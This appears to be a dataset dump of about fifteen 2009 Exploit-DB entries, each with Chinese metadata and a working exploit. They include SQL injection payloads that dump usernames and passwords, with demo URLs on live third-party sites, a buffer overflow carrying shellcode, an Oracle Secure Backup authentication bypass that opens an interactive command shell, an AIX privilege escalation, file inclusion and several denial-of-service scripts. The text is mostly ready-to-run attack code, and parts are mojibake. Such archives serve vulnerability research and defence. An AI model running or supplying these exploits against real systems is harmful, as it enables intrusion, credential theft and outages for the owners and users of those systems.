QLWD/code_shield huggingface dataset:
标题: HotWeb Rentals - 'details.asp?PropId' Blind SQL Injection EDB-ID: 9675 CVE: 2009-3343 类型: WEBAPPS 平台: ASP 发布日期: 2009-09-15 漏洞利用脚本: [â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢
[â˜ ]
[~] Tybe:(details.asp PropId) BL!ND SQL Injection Vulnerability
[â˜ ]
[~] Vendor: www.hotwebscripts.co.uk
[â˜ ]
[â˜ ] Software: HotWeb Rentals 
[â˜ ]
[â˜ ] author: ((Ñ3d D3v!L))
[â˜ ]
[â˜ ] Date: 15.2.2009
[â˜ ]
[â˜ ] Home: CL053D
[â˜ ]
[â˜ ] contact: X@hotmail.co.jp
[â˜ ]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {DEV!L'5 of SYST3M}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 

[â˜ ] ERR0R CONSOLE

WwW.XxX.CcC/details.asp?PropId=(BL!ND EV!L !NJ3c7!0N)

[â˜ ]SECURE ALERT FR0M 7h3 R3d-D3V!L

[â˜ ] Exploit:

[â˜ ] TRU3 : details.asp?PropId=1+and+1=1


 [â˜ ] FALS3 : details.asp?PropId=1+and+1=2

[â˜ ]liv3 3xpL0!T:
[â˜ ] TRU3 : holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=1
[â˜ ] F4L53 :holidayrentals.hotwebscripts.co.uk/details.asp?PropId=1+and+1=2


 [â˜ ]

N073:
R34L R3d-D3V!L WAS h3R3 ((â˜ X@Minhal.co.ilâ˜ ))

4R48!4N-HACK3R!!Ø§Ù„Ù‚Ø±Ø§ØµÙ†Ù‡ Ø§Ù„Ø¹Ø±Ø¨

 [~]-----------------------------{str0ke}-----------------------------------------------------

[~] Greetz tO: {str0ke} & XP_10 & Ø±ÙˆØª Ø´ÙŠÙ„ & Ø§Ø¨Ùˆ Ø´Ù‡Ø¯ & B0rN 2 K!LL & JUPA &D3V!L-FUCK3R & Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
 [~]70 ÙALL ARAB!AN HACKER 3X3PT:LAM3RZ
[~] spechial thanks : ((dolly)) & ((7am3m)) &MAGOUSH ;) & EMAD & 0R45h3Y  

 [â˜ ]spechial SupP0RT: MY M!ND -57R0K3-''M!Lw0RM 3MP3R0R''-''3XPLO!T-houSE''

[â˜ ] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --D3V!L R007

  [~]spechial FR!ND: 74M3M ØªÙ…ÙŠÙ…

[~] !'M 4R48!4N 3XPL0!73R.

  [~]

[~]--------------------------------------------------------------------------------

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9675
标题: VideoLAN VLC Media Player < 0.9.6 - 'CUE' Local Buffer Overflow (PoC) EDB-ID: 9686 CVE: 2008-5032 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #!/usr/bin/env python

####################################################################################
#
# VLC Media Player < 0.9.6 (.CUE) Buffer Overflow PoC
# Found By: Dr_IDE
# Tested On: XPSP3
#
####################################################################################

head = ("\x46\x49\x4c\x45\x20\x22")
buff = ("\x41" * 10000)
foot = (
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20\x54"
"\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32\x33"
"\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31\x20"
"\x30\x30\x3a\x30\x30\x3a\x30\x30")

f1 = open("vlc_0.8.6.cue","w")
f1.write(head + buff + foot)
f1.close()

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9686
标题: Apple Safari IPhone - using tel: Remote Crash EDB-ID: 9666 CVE: 2009-3271 类型: DOS 平台: HARDWARE 发布日期: 2009-09-14 漏洞利用脚本: # Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

<?php
set_time_limit(0);
$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?> 

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9666
标题: Bs Counter 2.5.3 - 'page' SQL Injection EDB-ID: 9669 CVE: 2009-3659 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-14 漏洞利用脚本: Bs Counter 2.5.3 (page) Sql Ä°njectÅŸon Vuln.
 
Bgh7
Turk Bilisim Gucleri
Script Downlaod
http://scripti.org/indir.php?id=595
 
Expl0it;
http://www.target.com/file/stats.php?page='insert+into+counter+(countertitle)+values+('HackedByBgh7 tu bi gu')
Bingoo  ! counter name ediT =)

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9669
标题: Tuniac 090517c - '.pls' Local Crash (PoC) EDB-ID: 9671 CVE: 2009-3574 类型: DOS 平台: WINDOWS 发布日期: 2009-09-14 漏洞利用脚本: #!/usr/bin/env python
# Tuniac v.090517c (.PLS) Crash PoC
# By : zAx
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download

buffer = ("[playlist]\x0ANumberOfEntries=1\x0AFile1=http://" + "\x41" * (10000));

f = open('Crash_Poc.PLS','w');
f.write(buffer);
f.close();

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9671
标题: FtpXQ FTP Server 3.0 - (Authenticated) Remote Denial of Service EDB-ID: 9664 CVE: 2009-3545 类型: DOS 平台: WINDOWS 发布日期: 2009-09-14 漏洞利用脚本: #!/usr/bin/python
print "############################################################"
print "##                Iranian Pentesters Home                 ##"
print "##                   Www.Pentesters.Ir                    ##"
print "##                  PLATEN -[ H.jafari ]-                 ##"
print "## FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit  ##"
print "## author: PLATEN                                         ##"
print "## E-mail && blog:                                        ##"
print "## hjafari.blogspot.com                                   ##"
print "## platen.secure[at]gmail[dot]com                         ##"
print "## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##"
print "## and all members in Pentesters.ir                       ##"
print "############################################################"
import socket
import sys
def Usage():
    print ("Usage: ./expl.py <host> <Username> <password>\n")
buffer= "./A" * 6300
def start(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
 
    sock.send("ABOR %s\r\n" %buffer)
    sock.close()

if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    start(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9664
标题: httpdx 1.4 - HTTP Server Host Header Remote Format String Denial of Service EDB-ID: 9657 CVE: 2009-3663 类型: DOS 平台: WINDOWS 发布日期: 2009-09-14 漏洞利用脚本: # httpdx Web Server 1.4 'Host Header' Remote Format String Denial of Service PoC
# 
# Coded by Pankaj Kohli
# http://www.pank4j.com
#
# httpdx web server 1.4 is vulnerable to a remote format string vulnerability through the Host header.
# The vulnerability lies in httpd_src/http.cpp in h_readrequest() : snprintf(temp[1],MAX,client->host);
#

use LWP;

(($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 <target> <port> \n";

my $ua = new LWP::UserAgent;
print "Connecting to $target on port $port\n";
my $request = new HTTP::Request('GET', "http://" . $target . ":" . $port);
print "Sending evil header \n";
my $host_header =  "%s"x32;
$request->header('Host', $host_header); my $response = $ua->request($request);

if ($response->is_success) { print "DoS Failed \n" }
else { print "DoS Successful \n" } 

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9657
标题: Xerver HTTP Server 4.32 - Arbitrary Source Code Disclosure EDB-ID: 9649 CVE: 2009-3544 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-11 漏洞利用脚本: #################################################################################
#                                                                         #
# Xerver HTTP Server v4.32 Remote Arbitrary Source Code Disclosure        #
# Found By: Dr_IDE                                    #
# Download: http://www.javascript.nu/xerver                           #
# Tested On: Windows XPSP3                                             #
#                                                                         #
#################################################################################

- Description -

Xerver v4.32 is a Windows based HTTP server. This is the latest version of
the application available.

Xerver v4.32 is vulnerable to remote arbitrary source code disclosure by the
following means.

- Notes -
 1. This is remote only.
 2. Out of the box this server is completely unsecure and wide open,
 my configuration is attached below in case reproduction is an issue.


- Technical Details -

 http://[ webserver IP]/[ file ][::$DATA]


- Sample Case 1 -

 http://172.16.2.101/index.html::$DATA

- Remote Browser Output - 

 <html><head></head><body> This is my Web page </body></html>


- Sample Case 2 -

 http://172.16.2.101/default.asp::$DATA

- Remote Browser Output -

 <html>
 <body>
 <%
 response.write("My first ASP script!")
 %>
 </body>
 </html>

- My Server Configuration-

Filename: Xerver2.cfg

----------------------snip-------------------------------------------------------------------------
80
index.html,index.htm,index.shtml,default.html,default.asp,index.php,index.phtml,index.pl,index.cgi
c:\INETPUB\

c:\INETPUB\
php=php,php3=php,php4=php,phtml=php,pl=perl,cgi=perl,exe=,bat=


0
0
0
2
1
XerverWebserver.log
----------------------snip-------------------------------------------------------------------------

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9649
标题: Invisible Browsing 5.0.52 - '.ibkey' Local Buffer Overflow EDB-ID: 9655 CVE: 2009-4107 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-14 漏洞利用脚本: #!/usr/bin/perl

print qq(
  ############################################################
  ##                Iranian Pentesters Home                 ##
  ##                   Www.Pentesters.Ir                    ##
  ##                  PLATEN -[ H.jafari ]-                 ## 
  ## Invisible Browsing 5.0.52 (.ibkey) Local BoF Exploit   ##
  ## bug found & exploited by:  PLATEN                      ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);
# Note: I just test this version
$junk  ="\x41"x 5000;
$ret   = "\x93\x43\x92\x7c";
$nop   = "\x90" x 50;
# win32_exec - Size=160
#EXITFUNC=seh CMD=calc  
#Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
open(fhandle,'>>expl.ibkey');
print fhandle $junk.$ret.$nop.$shellcode;
close(fhandle);
print "\n  [+] File created successfully: expl.ibkey \n";

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9655
标题: Siemens Gigaset SE361 WLAN - Remote Reboot (Denial of Service) EDB-ID: 9646 CVE: 2009-3322 类型: DOS 平台: HARDWARE 发布日期: 2009-09-11 漏洞利用脚本: Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.
It takes a few bytes for the AP to automatically restart

<?php
$apaddr = "192.168.2.1";
$apport="1723";


$con = fsockopen($apaddr, $apport, $errno, $errstr);
if (!$con) {
    echo "$errstr ($errno)<br />\n";
} else {
    $trash = str_repeat("\x90","261");
    fwrite($con, $trash);
    while (!feof($con)) {
        echo "$trash \r\n";
    }
    fclose($con);
}
?> 

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9646
标题: Joomla! Component Turtushout 0.11 - 'Name' SQL Injection EDB-ID: 9653 CVE: 2009-3335 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-14 漏洞利用脚本: Joomla Component Turtushout 0.11SQL Injection

'Name' field SQL injection:

test', '0.0.0.0' ), ( 'test', ( SELECT CONCAT( username, 0x20, email ) FROM #__users WHERE gid=25 limit 1 ), '2009-08-07 13:52:38', 0, 'test', '0.0.0.0' ) -- '

jdc 2009 

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9653
标题: Oracle Secure Backup Server 10.3.0.1.0 - Authentication Bypass / Remote Code Injection EDB-ID: 9652 CVE: 2009-1977 2009-1978 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-14 漏洞利用脚本: #!/bin/bash

#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability
#1-day exploit for CVE-2009-1977 and CVE-2009-1978 

#PoC script successfully tested on:
#Oracle Secure Backup Server 10.3.0.1.0_win32_release
#MS Windows Professional XP SP3

#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart 
#authentication bypass and a trivial command injection, resulting in arbitrary command execution. 

#References:
#http://www.zerodayinitiative.com/advisories/ZDI-09-058/
#http://www.zerodayinitiative.com/advisories/ZDI-09-059/

#Use it for ethical pentesting only! The author accepts no liability for damage caused by this tool.
#Luca "ikki" Carettoni (blog.nibblesec.org), 10th September 2009

clear
echo ":: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::"

if [[ $# -ne 1 ]]
then
 echo "usage: ./$(basename $0) <target IP>"
 echo "i.e.: ./$(basename $0) 192.168.0.100"
 exit
fi

if ! which curl >/dev/null
then
 echo "'curl' is required in order to handle HTTPS connections"
    exit
fi

TARGET=$1

#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
 echo "[!] Fatal error. No valid token has been retrieved"
 exit
fi

echo "[+] I got a valid token: $session"

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

if [[ -z $check ]]
then
 echo "[!] Fatal error. I cannot execute arbitrary commands"
 exit
fi

echo "[+] Enjoy your non-interactive shell! Use EXIT to clean up everything"
echo
echo \>$check

while(true); do
 echo -n \>
 read -r cmd
 
 if [ "$cmd" == "EXIT" ]
 then
  echo "[+] Removing the temporary file and closing"
  shell="1%26del%20osb103shelltmp"
  curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
  exit
 fi
 
 #URLencode function
 cmd=`echo -n "$cmd"|od -t x1 -A n|tr " " %`
 shell="1%26$cmd>osb103shelltmp"
 curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
 echo "[+] Last successful command execution:"
 curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session"
done
#end

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9652
标题: PHP-IPNMonitor - 'maincat_id' SQL Injection EDB-ID: 9647 CVE: 2009-3361 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: [+]
[+] SQL injection vulnerability
[+] PHP-IPNMonitor - sell digital downloads online
[+] Download : http://www.withinweb.com/phpipnmonitor/
[+] noname[at]antisecurity.org
 
[+] Bugs = index.php?maincat_id=
 
[+] exploit = -null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--


[+] Example
[+]        : http://localhost/[patch]/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] Demo 
[+]        : http://www.beardsmith.com/ipnmonitor/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--
[+]    : http://www.earrelaphant.com/ipnmonitor/cart/index.php?maincat_id=-null+union+select+concat(username,0x3a,userpassword)+from+ipn_tblpasswords--



[+] colek-colek 
[+]             : Antisecurity[dot]Org www.MainHack.net www.ServerIsDown.org
[+]               Jack-, Vrs_hCk, OoN_Boy, NoGe, zxvf, Yadoy666, s3t4n, r3v4n_b4st4rd, pizzyroot, em|nem, s4va, kecemplungkalen, xr00tb0y
[+]               xshadow, Madonk, Tante Angela Chang, IrcMafia
[+]               Indonesian Coder 
[+]               Don Tukulesto, M3NW5, m364tr0n, cyb3r_tr0n
[+]
[+] crotz        
[+]             : rm -rf malingsia   
[+]

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9647
标题: IBM AIX 5.6/6.1 - '_LIB_INIT_DBG' Arbitrary File Overwrite via Libc Debug EDB-ID: 9645 CVE: 2009-2669 类型: LOCAL 平台: AIX 发布日期: 2009-09-11 漏洞利用脚本: #!/bin/sh

#
# $Id: raptor_libC,v 1.1 2009/09/10 15:08:04 raptor Exp $
#
# raptor_libC - AIX arbitrary file overwrite via libC debug
# Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>
#
# Property of @ Mediaservice.net Srl Data Security Division
# http://www.mediaservice.net/ http://lab.mediaservice.net/
#
# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
#
# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle 
# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which 
# allows local users to gain privileges by leveraging a setuid-root program to 
# create an arbitrary root-owned file with world-writable permissions, related 
# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1
# (CVE-2009-2669).
#
# Typical privilege escalation techniques via arbitrary file creation don't 
# seem to work on recent AIX versions: .rhosts is ignored if it is group or 
# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; 
# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's
# named pipe /var/adm/cron/FIFO. Other viable exploitation vectors that come 
# to mind, depending on the target box setup, are: /root/.ssh/authorized_keys, 
# /root/{.profile,.kshrc}, and /etc/rc.d/rc2.d.
#
# See also: http://milw0rm.com/exploits/9306
#
# Usage:
# $ uname -a
# AIX rs6000 3 5 0052288E4C00
# $ lslpp -L xlC.rte | grep xlC.rte
# xlC.rte                    9.0.0.1    C     F    XL C/C++ Runtime 
# $ chmod +x raptor_libC
# $ ./raptor_libC /bin/bobobobobob
# [...]
# -rw-rw-rw-   1 root     staff            63 Sep 10 09:55 /bin/bobobobobob
#
# Vulnerable platforms (AIX 5.3):
# xlC.rte < 8.0.0.0  [untested]
# xlC.rte 8.0.0.0-8.0.0.14 [untested]
# xlC.rte 9.0.0.0-9.0.0.9 [tested]
# xlC.rte 10.1.0.0-10.1.0.2 [untested]
#
# Vulnerable platforms (AIX 6.1):
# bos.rte.libc 6.1.0.0-6.1.0.11 [untested]
# bos.rte.libc 6.1.1.0-6.1.1.6 [untested]
# bos.rte.libc 6.1.2.0-6.1.2.5 [untested]
# bos.rte.libc 6.1.3.0-6.1.3.2 [untested]
# bos.adt.prof 6.1.0.0-6.1.0.10 [untested]
# bos.adt.prof 6.1.1.0-6.1.1.5 [untested]
# bos.adt.prof 6.1.2.0-6.1.2.4 [untested]
# bos.adt.prof 6.1.3.0-6.1.3.1 [untested]
#

echo "raptor_libC - AIX arbitrary file overwrite via libC debug"
echo "Copyright (c) 2009 Marco Ivaldi <raptor@mediaservice.net>"
echo

# check the arguments
if [ -z "$1" ]; then
 echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***"
 echo
 echo "Usage: $0 <filename>"
 echo
 exit
fi

# prepare the environment
_LIB_INIT_DBG=1
_LIB_INIT_DBG_FILE=$1
export _LIB_INIT_DBG _LIB_INIT_DBG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/libC.a
/usr/dt/bin/dtappgather

# other good setuid targets
# /usr/dt/bin/dtprintinfo
# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey

# check the created file
ls -l $_LIB_INIT_DBG_FILE
echo

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9645
标题: Aurora CMS 1.0.2 - 'install.plugin.php' Remote File Inclusion EDB-ID: 9656 CVE: 2009-3365 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-14 漏洞利用脚本: ---------------------------------------------------------------------------------------------------------------
Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability 
---------------------------------------------------------------------------------------------------------------


**********************************************************************************************************************************
* [+] Author   : EA Ngel                                     *
* [+] Situs  : www[dot]manadocoding[dot]net           *
* [+] Location  : Indonesia                                   *
* [+] Contact  : engelpemula[at]gmail[dot]com           *
* [+] Download script : http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz *
*                 *                        *
**********************************************************************************************************************************


a. Dork   : kreasikan otak-mu  :) 

b. Bug   : - install.plugin.php
                          - global $AURORA_MODULES_FOLDER;
                            require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php';


[@] Exploit  : http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?]


[#] Special Thanks : str0ke

    - manadocoding      : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
                          g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's


    - Sekuritionline    : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
                          and friend's   
                      
     
    - lain-lain         : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
                          alan_sarante, jajack, chrezz,  wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2, 
                          C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's


[/] Note  : NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for, 
                          being the proof of things [we] do not see and the conviction of their reality [faith perceiving 
                          as real fact what is not revealed to the senses].


===================================================================================================================================
= 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u =
===================================================================================================================================

# milw0rm.com [2009-09-14] URL: https://www.exploit-db.com/exploits/9656
标题: FreeRadius < 1.1.8 - Zero-Length Tunnel-Password Denial of Service EDB-ID: 9642 CVE: 2009-3111 类型: DOS 平台: MULTIPLE 发布日期: 2009-09-11 漏洞利用脚本: #!/usr/bin/env python
# FreeRadius Packet Of Death
# Matthew Gillespie 2009-09-11
# Requires RadiusAttr http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py
# http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/

import sys
from scapy.all import IP,UDP,send,Radius,RadiusAttr

if len(sys.argv) != 2:
 print "Usage: radius_killer.py <radiushost>\n"
 sys.exit(1)

PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \
 Radius(code=1,authenticator="\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",id=180)/ \
 RadiusAttr(type=69,value="",len=2)

send(PoD)

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9642